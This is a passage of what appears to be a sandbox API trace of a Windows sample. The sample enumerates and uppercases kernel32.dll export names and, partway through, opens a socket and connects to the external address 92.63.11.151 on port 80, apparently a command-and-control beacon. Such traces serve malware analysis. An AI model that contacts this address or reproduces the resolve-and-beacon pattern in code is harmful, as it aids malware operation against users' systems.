(lpString="CLOSETHREADPOOLWORK") returned 19 [0117.905] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0117.905] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0117.905] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0117.905] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0117.905] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0117.905] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0117.905] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0117.905] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0117.905] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0117.905] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0117.905] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0117.905] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0117.905] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0117.905] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0117.905] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0117.905] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0117.905] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0117.905] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0117.905] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0117.905] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0117.905] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0117.905] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0117.905] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0117.905] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0117.905] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0117.905] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0117.905] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0117.905] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0117.905] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0117.905] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0117.906] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0117.906] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0117.906] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0117.906] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0117.906] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0117.906] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0117.906] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0117.906] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0117.906] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0117.906] lstrlenA (lpString="COPYCONTEXT") returned 11 [0117.906] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0117.906] lstrlenA (lpString="COPYFILE2") returned 9 [0117.906] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0117.906] lstrlenA (lpString="COPYFILEA") returned 9 [0117.906] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0117.906] lstrlenA (lpString="COPYFILEEXA") returned 11 [0117.906] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0117.906] lstrlenA (lpString="COPYFILEEXW") returned 11 [0117.906] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0117.906] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0117.906] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0117.906] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0117.906] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0117.906] lstrlenA (lpString="COPYFILEW") returned 9 [0117.906] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0117.906] lstrlenA (lpString="COPYLZFILE") returned 10 [0117.906] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0117.906] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0117.906] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0117.906] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0117.906] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0117.906] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0117.906] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0117.906] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0117.906] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0117.907] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0117.907] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0117.907] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0117.907] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0117.907] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0117.907] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0117.907] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0117.907] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0117.907] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0117.907] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0117.907] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0117.907] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0117.907] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0117.907] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0117.907] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0117.907] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0117.907] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0117.907] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0117.907] lstrlenA (lpString="CREATEEVENTA") returned 12 [0117.907] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0117.907] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0117.907] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0117.907] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0117.907] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0117.907] lstrlenA (lpString="CREATEEVENTW") returned 12 [0117.907] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0117.907] lstrlenA (lpString="CREATEFIBER") returned 11 [0117.907] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0117.907] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0117.907] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0117.907] lstrlenA (lpString="CREATEFILE2") returned 11 [0117.907] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0117.907] lstrlenA (lpString="CREATEFILEA") returned 11 [0117.907] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0117.908] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0117.908] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0117.908] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0117.908] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0117.908] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0117.908] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0117.908] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0117.908] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0117.908] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0117.908] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0117.908] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0117.908] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0117.908] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0117.908] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0117.908] lstrlenA (lpString="CREATEFILEW") returned 11 [0117.908] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0117.908] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0117.908] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0117.908] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0117.908] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0117.908] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0117.908] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0117.908] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0117.908] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0117.908] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0117.908] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0117.908] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0117.908] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0117.908] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0117.908] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0117.908] lstrlenA (lpString="CREATEJOBSET") returned 12 [0117.908] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0117.908] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0117.908] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0117.909] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0117.909] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0117.909] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0117.909] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0117.909] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0117.909] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0117.909] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0117.909] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0117.909] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0117.909] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0117.909] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0117.909] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0117.909] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0117.909] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0117.909] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0117.913] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0117.913] lstrlenA (lpString="CREATEPIPE") returned 10 [0117.913] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0117.913] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0117.913] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0117.913] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0117.913] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0117.913] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0117.913] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0117.913] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0117.913] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0117.913] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0117.913] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0117.914] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0117.914] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0117.914] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0117.914] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0117.914] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0117.914] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0117.914] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0117.914] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0117.914] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0117.914] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0117.914] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0117.914] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0117.914] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0117.914] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0117.914] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0117.914] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0117.914] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0117.914] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0117.914] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0117.914] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0117.914] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0117.914] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0117.914] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0117.914] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0117.914] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0117.914] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0117.914] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0117.914] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0117.914] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0117.914] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0117.914] lstrlenA (lpString="CREATETHREAD") returned 12 [0117.914] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0117.914] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0117.914] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0117.915] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0117.915] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0117.915] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0117.915] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0117.915] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0117.915] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0117.915] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0117.915] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0117.915] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0117.915] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0117.915] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0117.915] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0117.915] inet_pton (in: Family=2, pszAddrString="92.63.11.151", pAddrBuf=0x2e7f828 | out: pAddrBuf=0x2e7f828) returned 1 [0117.915] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2e7fc74 | out: lpWSAData=0x2e7fc74) returned 0 [0117.915] socket (af=2, type=1, protocol=6) returned 0x544 [0117.916] inet_addr (cp="92.63.11.151") returned 0x970b3f5c [0117.916] htons (hostshort=0x50) returned 0x5000 [0117.916] connect (s=0x544, name=0x2e7f804*(sa_family=2, sin_port=0x50, sin_addr="92.63.11.151"), namelen=16) returned 0 [0118.009] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0118.009] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0118.009] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0118.009] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0118.009] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0118.009] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0118.009] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0118.009] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0118.009] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0118.009] lstrlenA (lpString="ADDATOMA") returned 8 [0118.009] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0118.009] lstrlenA (lpString="ADDATOMW") returned 8 [0118.009] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0118.009] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0118.009] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0118.009] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0118.009] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0118.009] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0118.009] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0118.009] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0118.009] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0118.009] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0118.009] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0118.009] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0118.009] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0118.009] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0118.009] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0118.009] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0118.009] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0118.009] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0118.009] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0118.010] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0118.010] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0118.010] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0118.010] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0118.010] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0118.010] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0118.010] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0118.010] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0118.010] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0118.010] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0118.010] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0118.010] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0118.010] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0118.010] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0118.010] 